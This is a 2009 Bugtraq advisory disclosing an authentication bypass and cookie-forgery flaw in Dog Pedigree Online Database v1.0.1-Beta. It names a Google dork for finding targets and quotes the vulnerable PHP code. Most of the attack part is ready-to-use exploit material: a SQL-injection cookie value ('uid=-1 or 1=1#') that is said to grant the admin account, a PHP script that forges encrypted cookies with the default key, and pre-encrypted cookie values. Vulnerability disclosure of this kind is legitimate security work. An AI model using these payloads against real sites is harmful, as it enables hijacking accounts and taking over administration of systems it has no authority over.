bugtraq - INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online Database v1.0.1-Beta-->

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Date: Tue, 19 May 2009 10:47:23 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online
 Database v1.0.1-Beta-->

---------------------------------------------------------------------------------------
INSECURE COOKIE HANDLING VULNERABILITIES --Dog Pedigree Online Database v1.0.1-Beta-->
---------------------------------------------------------------------------------------

CMS INFORMATION:

-->WEB: http://thewhippetarchives.net/twa_is_offline.php
-->DOWNLOAD: http://sourceforge.net/projects/dogarchive
-->DEMO: N/A
-->CATEGORY: Genealogy
-->DESCRIPTION: This project allows to setup and maintain a database for
		collecting (dog) pedigrees. The data will actually be collected...
-->RELEASED: 2009-01-25

CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: inurl:"printable_pedigree.php"
-->CATEGORY: COOKIE AUTH-BYPASS (SQLi) / INSECURE COOKIE HANDLING
-->AFFECT VERSION: <= 1.0.1 Beta
-->Discovered Bug date: 2009-05-08
-->Reported Bug date: 2009-05-08
-->Fixed bug date: 2009-05-12
-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)



#######
///////

INTRO:

///////
#######


Cookie name --> it could be configured, but any web change it.

Cookie protection --> Active by default, but some Webs use it and other neither (Because it needs php_mcrypt extension).

With cookie protection --> Any web change the $COOKIE_KEY value. Always by default



###########################
///////////////////////////

COOKIE AUTH-BYPASS (SQLi):

///////////////////////////
###########################


-----------
VULN FILE:
-----------


Path --> [HOME_PATH]/php_users/htdocs/
File --> users.php.inc
Vuln function --> init()


 function init() {

...

    $cookie = $_COOKIE[$USER_COOKIE];
    if (isset($COOKIE_KEY)) {
      	$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
      	$cookie = mcrypt_decrypt(MCRYPT_BLOWFISH, $COOKIE_KEY, base64_decode($cookie), MCRYPT_MODE_ECB, $iv);
    }
    $cookie = rtrim($cookie);  
    $a = split('&', $cookie);
    $i = 0;
    while ($i < count($a)) {
      $b = split ('=', $a[$i]);
      $key = urldecode($b[0]);
      $value = urldecode($b[1]);
      $this->{$key} = $value;
      $i++;
    }
    $this->id = $this->{'uid'};
  }

..

---------
EXPLOIT:
---------


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=&uid=-1%20or%201=1#&seclev=


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> Ffq9xizFlqX%2FLFytv2XsUILuolhabq3%2BN5A0%2B3ifmNdjLEIqh%2BKIXA%3D%3D

			

Return --> Admin account.


##########################
//////////////////////////

INSECURE COOKIE HANDLING:

//////////////////////////
##########################


<<<<-------+++++++++ Condition: Search e-mail and uid (it's not difficult) ++++++++++--------->>>>


------
NOTE:
------


Use an cookie builder (need php_mcrypt extension) 
to encrypt the cookie value:

<?php

//Configure [real_email] and [real_uid] with your target

$COOKIE_KEY="somethingRAndoM9871234whateveryoulike"; //user.conf by default
$cookie="email=".urlencode('[real_email]')."&uid=[real_uid]&seclev=1";
$iv = mcrypt_create_iv(mcrypt_get_iv_size (MCRYPT_BLOWFISH, MCRYPT_MODE_ECB), MCRYPT_RAND);
$cookie = base64_encode(mcrypt_encrypt (MCRYPT_BLOWFISH, $COOKIE_KEY, $cookie, MCRYPT_MODE_ECB, $iv));
print "Cookie crypted-urlencode -->".urlencode($cookie)."\n";

?>


-----
PoC:
-----


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=[real_email]&uid=[real_uid]&seclev=1


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> Use PHP script above


---------
EXPLOIT:
---------


1.-WITHOUT ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> email=y3nh4ck3r@...il.com&uid=2422&seclev=1


2.-WITH ENCRYPTION:


Add cookie --> Name ~> dogarchive_user_info

	   --> Value ~> 7O%2By0gnSt4KItondpdwQThDciQY6aR3QfFGEvZQzUGQWNkYwIUI4lfiZ1WQgnEc%2B



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